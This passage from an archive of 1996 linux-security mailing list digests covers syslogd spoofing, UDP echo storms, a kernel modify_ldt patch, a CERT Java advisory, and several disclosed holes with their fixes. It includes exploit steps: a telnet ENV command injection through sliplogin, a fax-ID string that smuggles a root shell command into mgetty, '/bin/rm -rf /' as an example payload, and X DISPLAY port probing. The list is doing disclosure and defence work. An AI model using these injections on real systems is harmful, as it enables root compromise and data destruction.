514 anyway --okir] This can be useful -- it allows one to designate a single secure host to handle all system logging for a network, drastically reducing administrative overhead etc, but is definitely unwanted in the case of a stand-alone host. I know of no way to disable it short of filtering it at the network level -- you could either set the router for your network to drop incoming UDP packets destined for port 516, or enable the firewalling code in the linux kernel and have a rule like: ipfw add blocking reject udp from 0/0 to $me 516 >0:06:02.664395 rbit.co.za.echo > www.iuma.com.echo: udp 186 >10:06:02.732615 www.iuma.com.echo > rbit.co.za.echo: udp 186 >10:06:02.733221 rbit.co.za.echo > www.iuma.com.echo: udp 186 This is a UDP storm. A UDP packet was forged from www.iuma.com and sent to your echo service, which echoed the packet back to _their_ echo service, creating an infinite loop and sucking bandwidth from all networks involved. The solution is to turn off your echo service -- comment it out from /etc/inetd.conf and kill -HUP inetd. In general, if a service isn't needed it will only cause problems. Comment out all services that you do not want to specifically provide, definitely including systat, netstat, and echo. - ------------------- From: [email protected] (Alan Cox) Someone is spamming your machine. FInd out who is the provider to iuma.com and complain. If that doesnt work threaten to file a lawsuit - ------------------- From: halflife These look like 2 distinct and seperate attacks. The former will be covered first. syslogd listens on a udp port for messages (you can direct all your syslogs to point to a single logging host, this is the primary reason it does this). Since it is udp, there is no authentication, so all someone has to do is be able to program just enough to forge ip/udp headers, and they can scribble on your syslog with any ip source address. There is not much that can be done to fix this, you could block the syslog port at your router, I suppose. You could also recompile syslogd to not support udp, which is probably the best solution if you dont have anything that requires udp services. The later attack looks to be a echo bounce attack. This involves sending a udp packet with the src and dst ports both set to the echo port. Since when the echo daemon gets a packet, it returns it to the src host at the src port, which does the same, etc creating a loop until the packet is dropped. This one is simple, just disable the internal services. There is a cert advisory about this sort of thing. Both of these are denial of services attacks, and are of no real importance. Since they are using UDP, there is no (easy) way to track down the actual people who are doing this (theres a very good chance that the echo attack is using fakes source addresses as well). Let me know if I can be of any further assistance. - -------------------- From: Chander Ganesan Have you tried disabling your 'echo' service in '/etc/inetd.conf' ? - ------------------- From: TWC Sure, recompile syslogd w/o SYSLOG_INET defined. It should probably be this way by default.. - ------------------- From: do i type my name here?? Seems to me like someone is running an ip spoofer on you. There is a program called sysfog.c, this is a syslogd writer. Well I took this program and made some changes to it and my kernel of course and now it allows me to do exactly what is happending to you. A few other people made their own programs and gave them out. The only thing you can probably do is upgrade your syslogd. I havn't done so, so I wouldn't know where to start. Hope this helps - -------------- End of summary ------------------ - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: Marek Michalkiewicz Date: Wed, 20 Mar 1996 16:04:27 +0100 (MET) Subject: [linux-security] Patch for 1.2.13 modify_ldt hole Since the patch for the modify_ldt hole (see my previous mail) is small (and important), I think it's OK to post it here. It should apply cleanly to 1.2.13 as well as 1.3.x (x<72) kernels. It is already in in 1.3.72 and newer. Marek diff -urN linux-1.2.13/arch/i386/kernel/ldt.c linux/arch/i386/kernel/ldt.c - --- linux-1.2.13/arch/i386/kernel/ldt.c Sun Feb 5 23:39:17 1995 +++ linux/arch/i386/kernel/ldt.c Thu Mar 7 16:24:45 1996 @@ -34,11 +34,35 @@ return size; } +static inline int limits_ok(struct modify_ldt_ldt_s *ldt_info) +{ + unsigned long base, limit; + /* linear address of first and last accessible byte */ + unsigned long first, last; + + base = ldt_info->base_addr; + limit = ldt_info->limit; + if (ldt_info->limit_in_pages) + limit = limit * PAGE_SIZE + PAGE_SIZE - 1; + + first = base; + last = limit + base; + + /* segment grows down? */ + if (ldt_info->contents == 1) { + /* data segment grows down */ + first = base+limit+1; + last = base+65535; + if (ldt_info->seg_32bit) + last = base-1; + } + return (last >= first && last < TASK_SIZE); +} + static int write_ldt(void * ptr, unsigned long bytecount) { struct modify_ldt_ldt_s ldt_info; unsigned long *lp; - - unsigned long base, limit; int error, i; if (bytecount != sizeof(ldt_info)) @@ -52,13 +76,7 @@ if (ldt_info.contents == 3 || ldt_info.entry_number >= LDT_ENTRIES) return -EINVAL; - - limit = ldt_info.limit; - - base = ldt_info.base_addr; - - if (ldt_info.limit_in_pages) - - limit *= PAGE_SIZE; - - - - limit += base; - - if (limit < base || limit >= 0xC0000000) + if (!limits_ok(&ldt_info)) return -EINVAL; if (!current->ldt) { ------------------------------ From: Olaf Kirch Date: Wed, 20 Mar 1996 19:58:05 +0100 Subject: [linux-security] Problem with sliplogin on Linux - -----BEGIN PGP SIGNED MESSAGE----- Hi all, When installed to provide users with SLIP accounts on your system, sliplogin can be abused to execute commands under the root uid. This hole does *not* seem to be expoitable when you don't have any SLIP users configured in your /etc/passwd. I'm not going to give away the details of the exploit yet; watch for a follow-up posting to linux-security within a week or two. Anyone providing SLIP logins using this program should upgrade to the latest version from sunsite.unc.edu: ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz Cheers Olaf PS: you may have to adapt your login/logout scripts because the argument list has been changed throughout several releases. - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM UHunzxZ80SA= =YYZI - -----END PGP SIGNATURE----- ------------------------------ From: Wojciech Zwiefka Date: Mon, 25 Mar 1996 11:46:22 +0100 (MET) Subject: [linux-security] Security bug in login (RedHat 2.1 .30.3) [mod: This was originally sent to linux-alert, but I felt that this problem is not serious enough to warrant a full-blown alert, so I'm redirecting it to linux-security. system logs should be read-protected anyway. --okir] Hi, There is a "little" security bug in login in RedHat 2.1 & 3.0.3 login is logging failure logins via syslogd. It should log each attempt for KONWN accounts and starting from 2 attempt for unknown accounts (to avoid logging of password writen by mistake) Here goes sample from syslog Mar 25 10:42:10 alf login: 2 LOGIN FAILURES ON tty4, blahblah Mar 25 10:42:15 alf login: ROOT LOGIN ON tty4 It is printed that there were 2 login failures on tty4, blahblah but to say the truth I tried only ONCE - so after ONE attempt on unknown account the attemp is logged (e.g. root password is by mistake used as login name and then root corrects himself and logs with right login and password. So any one can see root password.) Of course it is the worst scenario - it could be any user password Wojtek Zwiefka P.S.1. I didn't try using login from logdaemon-5.0 by Wietse Venema on Linux (I use it on Ultrix) by maybe it will work P.S.2. (Little fragment from README.WVZ from logdaemon-5.0 by Wietse Venema) This version of 4.3 BSD NET1 login.c has been hacked for SunOS 4.x, and SunOS 5.x, Ultrix 4.x and other systems. The enhanced login command reports every login failure that is not followed by a successful login (the threshold for reporting a failure is 1 for known account names, 2 for other names). Unfortunately, only the SunOS5 variant of the program supports shadow passwords and password aging. See below for a list of enhancements. - -- Wojciech Zwiefka Technical University of Gdansk, Poland ------------------------------ End of linux-security-digest V2 #11 *********************************** linux-security-digest/v02.n012100664 1767 1767 47412 6127762503 15453 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #12 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 1 April 1996 Volume 02 : Number 012 Re: [linux-security] Summary re: syslogd spam [linux-security] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] [linux-security] sliplogin hole explanation Re: [linux-security] sliplogin hole explanation [linux-security] environment in general Re: [linux-security] sliplogin hole explanation ---------------------------------------------------------------------- From: Jeff Uphoff Date: Thu, 28 Mar 1996 15:03:31 -0500 Subject: Re: [linux-security] Summary re: syslogd spam "OK" == Olaf Kirch writes: OK> There have been quite a number of responses regarding John Betts' message, OK> which I summarize below. OK> From: [email protected] (Jacob Langseth) > syslogd listens on UDP port 516, and will log what it receives to the > system logs. > [mod: It's port 514 anyway --okir] > ... > I know of no way to disable it short of filtering it at the network > level -- you could either set the router for your network to drop > incoming UDP packets destined for port 516, or enable the firewalling > code in the linux kernel and have a rule like: Just an FYI on this subject (since nobody has mentioned it yet)...Greg Wettstein's sysklogd v1.3--released late last month--has an internal disable for remote logging. From a beta release's README: Very important information before using version 1.3 --------------------------------------------------- The included version of syslogd behaves in a slightly different manner to the one in former releases. Please review the following important differences: * By default the syslog daemon doesn't accept any message from the syslog/udp port. To enable this add "-r" to the command-line arguments. You _have to_ add this on every host that should run as a centralized network log server. This version is now available at: tsx-11.mit.edu:/pub/sources/sbin/sysklogd-1.3.tar.gz and sunsite.unc.edu:/pub/Linux/system/Daemons/sysklogd-1.3.tar.gz - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Jeff Uphoff Date: Fri, 29 Mar 1996 17:05:25 -0500 Subject: [linux-security] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] - ------- start of forwarded message (RFC 934 encapsulation) ------- From: CERT Advisory Organization: CERT(sm) Coordination Center - +1 412-268-7090 To: [email protected] Subject: CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier Date: Fri, 29 Mar 1996 09:37:41 -0500 Reply-To: [email protected] ============================================================================= CERT(sm) Advisory CA-96.07 March 29, 1996 Topic: Weaknesses in Java Bytecode Verifier - - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of weaknesses in the bytecode verifier portion of Sun Microsystems' Java Development Kit (JDK) versions 1.0 and 1.0.1. The JDK is built into Netscape Navigator 2.0 and 2.01. We have not received reports of the exploitation of this vulnerability. When applets written with malicious intent are viewed, those applets can perform any operation that the legitimate user can perform on the machine running the browser. For example, a maliciously written applet could remove files from the machine on which the browser is running--but only if the legitimate user could also. Problem applets have to be specifically written with malicious intent, and users are at risk only when connecting to "untrusted" web pages. If you use Java-enabled products on a closed network or browse the World Wide Web but never connect to "untrusted" web pages, you are not affected. The CERT staff recommends disabling Java in Netscape Navigator and not using Sun's appletviewer to browse applets from untrusted sources until patches are available from these vendors. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.07.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description The Java Programming Language is designed to allow an executable computer program, called an applet, to be attached to a page viewable by a World Wide Web browser. When a user browsing the Web visits that page, the applet is automatically downloaded onto the user's machine and executed, but only if Java is enabled. It is possible for an applet to generate and execute raw machine code on the machine where the browser is running. This means that a maliciously written applet can perform any action that the legitimate user can perform; for example, an applet can read, delete, or change files that the user owns. Because applets are loaded and run automatically as a side-effect of visiting a Web page, someone could "booby-trap" their Web page and compromise the machine of anyone visiting the page. This is the problem described in the Wall Street Journal on March 26, 1996 ("Researchers Find Big Security Flaw in Java Language," by Don Clark). Note: The security enhancements announced by Sun Microsystems in JDK version 1.0.1 and by Netscape Communications in Netscape Navigator version 2.01 do *not* fix this flaw. II. Impact If Java is enabled and a Web page containing a maliciously written applet is viewed by any of the vulnerable browsers or Sun's appletviewer, that applet can perform any operation that the legitimate user can perform. For example, the applet could read, delete, or in other ways corrupt the user's files and any other files the user has access to, such as /etc/passwd. III. Solution We recommend obtaining vendor patches as soon as they become available. Until you can install the patches, we urge you to apply the workarounds described below. A. Java Development Kit users Sun reports that source-level fixes will be supplied to source licensees in the next few days. The fixes will also be included in the next JDK version, v1.0.2, which will be released within the next several weeks. The JDK itself is a development kit, and it can safely be used to develop applets and applications. If you choose to use the appletviewer as a rudimentary browser, do not use it to browse applets from untrusted sources until you have installed the v1.0.2 browser. B. Netscape users If you use Netscape 2.0 or 2.01, disable Java using the "Security Preferences" dialog box. You do not need to disable JavaScript as part of this workaround. For the latest news about fixes for Netscape Navigator, consult the following for details: http://home.netscape.com/ IV. Information for HotJava (alpha3) users Sun Microsystems has provided the following information for users of HotJava (alpha3). Sun made available last year a demonstration version of a browser called "HotJava." That version (alpha3) is proof-of-concept software only, not a product. HotJava (alpha3) uses an entirely different security architecture from JDK 1.0 or JDK 1.0.1. It will not be tested for any reported security vulnerabilities that it might be susceptible to, and Sun neither supports it nor recommends its use as a primary browser. When HotJava is released as a product, it will be based on an up-to-date version of the JDK and fully supported. - - --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felten, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation and Sun Microsystems, Inc. for their response to this problem. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - ------- end ------- ------------------------------ From: Olaf Kirch Date: Sat, 30 Mar 1996 02:16:57 +0100 Subject: [linux-security] sliplogin hole explanation - -----BEGIN PGP SIGNED MESSAGE----- content-type: text/plain; charset=us-ascii Hi all, here's the explanation of the sliplogin hole I reported earlier. We all know that you can pass most environment variables to a login shell when started through telnetd. Assuming you have the password for a sliplogin account on a Linux box, you can pass the ENV variable in this fashion. The attack goes something like this: ENV='`/evil/command`' telnet telnet> environ export ENV telnet> open targethost You then log into your regular slip account, which executes sliplogin as your login shell. Sliplogin, in turn, runs the /etc/slip.login shell script using bash. At startup, bash evaluates *and expands* ENV to obtain the name of a startup file to use instead of .bashrc, and faithfully executes /evil/command. This is particularly nasty since sliplogin runs the login/logout scripts under the real and effective uid of root in order to be able to manipulate network interfaces and routing tables. The fix in the new version of sliplogin is to clean out the entire environment, and pass only a predefined PATH variable when running slip.login or slip.logout. Best wishes Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVyLiOFnVHXv40etAQFbQgQAuRMKre44MS75FuGpOLjuVv0yuucRa3g/ WMRwTRSwPq+UiQfuX2c3x7RJInduvZ9TFABZdn5P0x8PulWZkAaZiA/zieFXyJTO JfedAFIirbujFoqBGSqpwZbGVLzuum3asZSudNTHzM0FcZddrmvIEsdSKu2ZI2qd FJ9WGpTf1/o= =of6d - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Yury Shevchuk) Date: Sun, 31 Mar 96 22:55 +0400 Subject: Re: [linux-security] sliplogin hole explanation In message Olaf Kirch writes: >We all know that you can pass most environment variables to a login >shell when started through telnetd. Assuming you have the password for a >sliplogin account on a Linux box, you can pass the ENV variable in this >fashion. > >The attack goes something like this: > >ENV='`/evil/command`' telnet >telnet> environ export ENV >telnet> open targethost > >You then log into your regular slip account, which executes sliplogin as >your login shell. Sliplogin, in turn, runs the /etc/slip.login shell >script using bash. At startup, bash evaluates *and expands* ENV to >obtain the name of a startup file to use instead of .bashrc, and >faithfully executes /evil/command. This is more than only a sliplogin hole! The same attack is applicable to every account with shell script as a login shell. Of course, you won't right away get the root shell, as in sliplogin's case, just a shell with the account's uid, but... Perhaps other people are wiser, but I had a couple of accounts with login shell set to /bin/false... which is a shell script! I tried your exploit, works great. :-( Of course, this particular hole is easy to fix: reimplement :) /bin/false in C, and you are safe. But in general, the environment-passing feature of telnet seems to me a real Pandora box. The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using perl for custom login shells? what about PERLLIB then? I'm afraid any interpreter around has at least one environment variable that can be exploited this way or that. Sounds like interpreted login shells should be banned? Would be a pity. Another extremal solution is to zap most of environment in telnetd, which again is a loss of functionality. What about a simple wrapper which cleans environment before executing the interpreter? Shells scripts intended for use as login shells would start like #!/bin/zapenv /bin/sh .... and zapenv could be as simple as main() { char *env[] { "PATH=/usr/bin:/bin:/usr/sbin:/sbin", NULL }; if (argc < 2) exit (1); ++argv; execve (argv[0], argv, env); return 1; } Thanks a lot for your alert. - -- Yury Shevchuk ------------------------------ From: *Hobbit* Date: Sat, 30 Mar 1996 15:50:40 -0500 Subject: [linux-security] environment in general I was playing with this the other day with an eye toward better securing things like "captive" accounts. This also keeps the noise down in "ps -e" output. Things involved in authentication and privilege [e.g. sliplogin] may very well want to zorch_env or some equivalent early in the game and start over... _H* ============== #include #include extern char ** environ; /* trash the existing environment, and optionally construct a new one. _H*/ void zorch_env (envp) char ** envp; { int x; if (! envp) envp = environ; for (x = 0; ; x++) { if (! envp[x]) break; if (*envp[x] == '\0') continue; envp[x][0] = '\0'; envp[x][1] = '\0'; envp[x] = NULL; } #ifdef NEWVARS /* If you want to construct any new vars, define 'em here. For example, a different shell so people can't shell out of various apps */ envp[0] = "SHELL=/bin/not-there"; envp[1] = "FOO=...etc..."; #endif } /* zorch_env */ /* and example usage: exec something, using any remaining args. */ main (argc, argv, envp) int argc; char ** argv; char ** envp; { char * p, * q; zorch_env (envp); q = argv[1]; p = strrchr (argv[1], '/'); if (p) { p++; argv[1] = p; } execve (q, &argv[1], envp); fprintf (stderr, "exec %s failed\n", q); } ------------------------------ From: Mark Whitis Date: Sun, 31 Mar 1996 21:42:59 -0500 (EST) Subject: Re: [linux-security] sliplogin hole explanation On Sun, 31 Mar 1996, Yury Shevchuk wrote: > Of course, this particular hole is easy to fix: reimplement :) > /bin/false in C, and you are safe. But in general, the > environment-passing feature of telnet seems to me a real Pandora box. > The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using > perl for custom login shells? what about PERLLIB then? I'm afraid any > interpreter around has at least one environment variable that can be > exploited this way or that. Yes, I agree. The environment passing feature of telnet has given me the heebeegeebees ever since I first heard about it. I think telnetd should be patch to only allow a particular list of environment variables to be passed. The default should be to deny a variable unless it is specifically allowed. For allowed variables, you might also want to specify, in some cases, a list of specific allowed values or a list of allowed characters. By default, the only two I would allow are TERM and DISPLAY and maybe TZ and even those I have my doubts about in some circumstances. The rest of this message, basically deals with my doubts concerning TERM and DISPLAY. Both of those are abusable to some degree in the proper context. Under System V terminfo, if you could manipulate TERM such that you could provide your own terminal capabilities (I am looking at the manpage under Solaris right now), there could be some unfortunate security problems: init_file when used with a suid root program that used termcap to provide limited functionality, might be exploitable to display files (/etc/password,/etc/shadow,/etc/hosts.allow,/etc/hosts.deny) init_prog is much scarrier. Setting TERM may be okay as long as you don't let them get at the environment variable TERMINFO and don't have an stupid entries in the database. It might be possible to manipulate DISPLAY on any program which can optionally run as an X client to bypass firewalls or send signals from a protected port (if the program runs as suid root). Under solaris, I was just able to connect to a server program on port 7000 by export DISPLAY=localhost:1000 /usr/openwin/demo/ico This opens a tcp connection to the service on port 7000 put does not seem to send any data (I guess it is waiting for information from the server). At the very least, I could use almost any X windows program this way to probe for ports with services on the other side of a firewall this way (since most X windows programs will report to stdout/stderr if they cannot connect). It could also be used for denial of service attacks. (Fortunately, in this particular case, syslogd uses udp; otherwise, it might be possible to tie up all possible tcp connections to syslogd using this trick. And it is conceivable that some programs could be tricked into sending ascii strings, surrounded by newlines, in amongst all the X requests. On Solaris at least, I don't seem to be able to connect to ports below 6000 by using values like "localhost:-1000" or "localhost:60536" to try to get to port 5000. Fortunately, there aren't too many programs which can optionally use X windows that one might want to set up for an anonymous account. There might be some news/mail programs out there (for example, if someone made an X enhanced version of PINE which would run as either a termcap or X program). Emacs or mosaic would be asking for trouble no matter how you sliced it. In any event, it would probably be wise to encapsulate any programs, whether or not they use X windows or termcap, which are used for anonymous accounts inside a C program, not a shell script, which zorches the environment and uses exec(), not system() to call the actual program. - -- Mark Whitis ; 804-962-4268 428-B Moseley Drive; Charlottesville, VA 22903 ------------------------------ End of linux-security-digest V2 #12 *********************************** linux-security-digest/v02.n013100664 1767 1767 56750 6130324724 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #13 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 2 April 1996 Volume 02 : Number 013 [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) Re: [linux-security] sliplogin hole explanation Re: [linux-security] Summary re: syslogd spam Re: [linux-security] Summary re: syslogd spam [linux-security] Technical problems...please do not adjust your T.V. [linux-security] Re: Vulnerabilities in mgetty+sendfax (root access by fax) ---------------------------------------------------------------------- From: Zygo Blaxell Date: Tue, 2 Apr 1996 13:11:29 -0500 (EST) Subject: [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) (sorry about sending this to Gert twice; I found two email addresses in the README files) This is probably of special interest to the Linux community, as at least RedHat has mgetty in their contrib section. mgetty has been around for a while, and judging from the mailing list traffic it is in use at a significant number of sites. Program: mgetty+sendfax Version: all those that support FAX_NOTIFY_PROGRAM Platform: all Vulnerability 1: mgetty does not properly parse input from remote fax modem Impact: if the FAX_NOTIFY_PROGRAM feature is used, and fax reception is allowed, anyone who can send a fax to a machine running mgetty can execute up to 17 bytes of shell command as root on that machine. This can be escalated to full-blown root access if the attacker has a shell account on the receiving machine. It does not matter what the FAX_NOTIFY_PROGRAM does; the vulnerability can be exploited as long as mgetty has support for such a program. Workaround: disable fax reception. Recompile mgetty with 'FAX_NOTIFY_PROGRAM' undefined in policy.h. mgetty 0.98 is distributed with this macro defined by default. Exploit: Call a machine running mgetty+sendfax and send it a fax, with the fax modem's local ID string set to ';17-byte-command; The 17-byte-command will be executed using /bin/sh with root privileges. Fix: in faxlib.c, function fax_wait_for(), add code to remove characters not in the set {alphanumeric, dot, dash, plus} from string 'fax_remote_id', and enforce the limit of 20 characters. Discussion: RTFM, and you'll find the bug. Start with: http://www.leo.org/~doering/mgetty/mgetty_19.html#SEC19: >If you define FAX_NOTIFY_PROGRAM in `policy.h', mgetty will call this >program (or shell script) when a fax has been completely received. It >will be called with the following command line arguments: > >FAX_NOTIFY_PROGRAM '' \ > ... > > is 0 if the receive was successful, non-zero otherwise. > is the fax identification string received from the other >side. is the full path name for each received page. > >A sample command line might look like this: > >/usr/local/bin/new_fax 0 "+49 89 3243328" 1 /var/spool/fax/ff-01.a123 If this specification is naively implemented, it should be possible to inject a command into mgetty by storing it between "';" and ";" in the sending fax modem's ID string. A quick check of the source code reveals that this is the case. Actually, the sample command line really looks like: /usr/local/bin/new_fax 0 '+49 89 3243328' 1 /var/spool/fax/ff-01.a123 There are other instances in the source code where the incorrect form (with " characters) is used in comments, including 'policy.h-dist'. >From http://www.nb.rockwell.com/ref/1048PR3a.html: >6.5.4 +FLID=, Local ID String >Write syntax: +FLID="" >Valid value: 20-character ASCII string >Default value: Empty > >If FLID is not a null string, it generates a TSI or CSI frame. Table >3/T.30 includes digits 0-9, "+" and space. > >If the DCE supports use of Table 3/T.30 only, the response to a +FLID=? >command is "(20) (32, 43, 48-57)." If the DCE supports printable ASCII ><, the response is: "(20) (32-127)." The first "(20)" represents >string length: the second (character values) field reports supported >string values. > >1. The string is saved in RAM. >2. Non-numeric characters are not filtered out. >3. The string is right justified. As far as I can tell, this specifies the allowed format of the +FTSI and related commands for setting and reading fax modem ID strings. Note that any printable ASCII data can be sent, not just numbers. This is even mentioned elsewhere in the mgetty manual. The function fax_get_line is replaced by mdm_get_line() in mgetty version 0.99, but it is otherwise the same as in 0.98. The remote TSI is read in faxlib.c in fax_get_line(), into a 1000-byte buffer: [do {... -zb] [get a byte from fax modem in 'c' -zb] > if ( isprint( c ) && > bufferp < sizeof(buffer) ) > { > buffer[ bufferp++ ] = c; > } [} while... -zb] The set of characters for which isprint() is true includes most of the shell metacharacters. Now, in faxrec.c, in fax_notify_program(), we have: >char * line; ... > line = malloc( fax_fn_size + sizeof( FAX_NOTIFY_PROGRAM) + 100 ); ... > sprintf( line, "%s %d '%s' %d %s >%s 2>&1 FAX_NOTIFY_PROGRAM, > fax_hangup_code, > fax_remote_id, > pagenum, > fax_file_names, > CONSOLE); [ouch, only 100 bytes for a string that could be 1000! -zb] ... > r = system( line ); Note that the Rockwell specs only allow 20 characters for fax ID. Certainly if the fax protocol and modem firmware allow more than 20 characters, then there is a buffer-overrun attack possible against mgetty. It might be possible to do this by violating the fax protocol and exploiting a naive modem on the receiving end. However, you don't need any of this to get root with mgetty, as mgetty conveniently invokes system() for an attacker with data supplied by that attacker as root. Impact: If a perfectly valid and harmless fax ID such as "Joe's Diner" is used, the fax notification part of mgetty will break as a side-effect of this bug (due to mismatched ' characters in system()). Whatever command can fit in 17 ASCII bytes (20 minus the "';" and ";" necessary for the resulting string to be parsed by the shell) with values between 32 and 126 can be executed as root on the receiving machine. This is good for remote denial-of-service attacks (strlen("/bin/rm -rf /")<17), but less useful for appending entries to /etc/passwd and such, as the commands probably require more than 17 bytes of shell code. stdin/stdout/stderr are not available; they are closed in fax_notify_program() before the system() call. The modem is not in data or fax receive mode at this time, so an attacker would not be able to communicate with the command as it ran unless the command took control of the modem. If the attacker has an account on the machine and write access to a directory with a short name, then the attacker can pre-arrange for a program or shell script to be present and invoke it as root by exploiting this bug. Recommended Fixes: Fix 1. Disallow the character ' in fax_remote_id. (Actually, it probably doesn't hurt to disallow anything but {alphanumerics, dot, dash, plus} and convert everything else to underscore or ignore it. Explicitly limit the length of fax_remote_id to 20 characters. Fix 2. Replace the system() call with an execlp(), thus preventing a shell from becoming involved and also avoiding the potential buffer-overrun bug. Explicitly limit the length of fax_remote_id to 20 characters. Also make a note in the documentation about this sort of problem, as it might rear its ugly head again if someone uses a naive shell script as FAX_NOTIFY_PROGRAM. A variation is to put the ID in an environment variable. This is better design but incompatible with existing practice. Fix 3. All of the above. Extra paranoia never hurt anyone. Interestingly enough, I found the following code in faxrec.c, in fax_get_page_data(), while looking for existing code that might plug this hole: > /* filter out characters that will give problems in the shell */ > for ( j=0; fax_remote_id[j] != 0; j++ ) > { > char c = fax_remote_id[j]; > if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || > c == '(' || c == ')' || c == '>' || c == '<' ) > { > if ( temp[i-1] != '-' ) temp[i++] = '-' ; > } > else if ( c != '"' && c != '\'' ) temp[i++] = c; > } > if ( temp[i-1] == '-' ) i--; > sprintf( &temp[i], ".%02d", pagenum ); This prevents incoming fax filenames from having common obnoxious characters in them. However, the list is incomplete; notably absent are characters like ` and |. The code also doesn't modify fax_remote_id, which would have quite effectively plugged this hole. - -- Zygo Blaxell, Network admin, Linux system support, Windows '95 moral support Myrus Design Inc. Tel: +1 613 233 2339 Suite 203, 275 Bank St. 93 Glebe Avenue Ottawa, Ontario, Canada K2C 1E3 Ottawa, Ontario, Canada K1S 2C2 - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Bryan Venable Date: Mon, 1 Apr 1996 15:31:45 -0600 (CST) Subject: Re: [linux-security] sliplogin hole explanation On Sun, 31 Mar 1996, Yury Shevchuk wrote: > Perhaps other people are wiser, but I had a couple of accounts with > login shell set to /bin/false... which is a shell script! I tried > your exploit, works great. :-( > > Of course, this particular hole is easy to fix: reimplement :) > /bin/false in C, and you are safe. But in general, the > environment-passing feature of telnet seems to me a real Pandora box. > The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using > perl for custom login shells? what about PERLLIB then? I'm afraid any > interpreter around has at least one environment variable that can be > exploited this way or that. sounds like an unecessary hack to me. good 'ol /dev/null does the trick for us. in fact, I'm not sure how this whole thing applies to sliplogin... sliplogin is an ELF binary (at least on my system), not a shell script. Bryan Venable | Technical Coordinator | MU Student Server [email protected] | (573) 882-9491 | 132A Neff Annex, MU Campus ------------------------------ From: Cy Schubert - ITSD Open Systems Group Date: Tue, 02 Apr 96 07:10:09 -0800 Subject: Re: [linux-security] Summary re: syslogd spam [Mod: Quoting trimmed. --Jeff.] > Just an FYI on this subject (since nobody has mentioned it yet)...Greg > Wettstein's sysklogd v1.3--released late last month--has an internal > disable for remote logging. From a beta release's README: Many of these features, though nice to have, are redundant. 1. IP firewalling is already built into the kernel. All you need to do is block port 514. 2. What if you want to allow some hosts to log to your server while disallowing the reset of the Internet? There are two possible solutions. Either use IP firewalling already built into the kernel or build a TCP/Wrapper interface into sysklogd. Using the existing IP firewall code already in the kernel is cheaper (less effort). (Why not enable the firewall code in the kernel by default?) Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] ITSD Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: Jeff Uphoff Date: Tue, 2 Apr 1996 11:34:13 -0500 Subject: Re: [linux-security] Summary re: syslogd spam [...Discussion regarding new sysklogd v1.3 release and its "-r" option...] "CS" == Cy Schubert <- ITSD Open Systems Group > writes: CS> Many of these features, though nice to 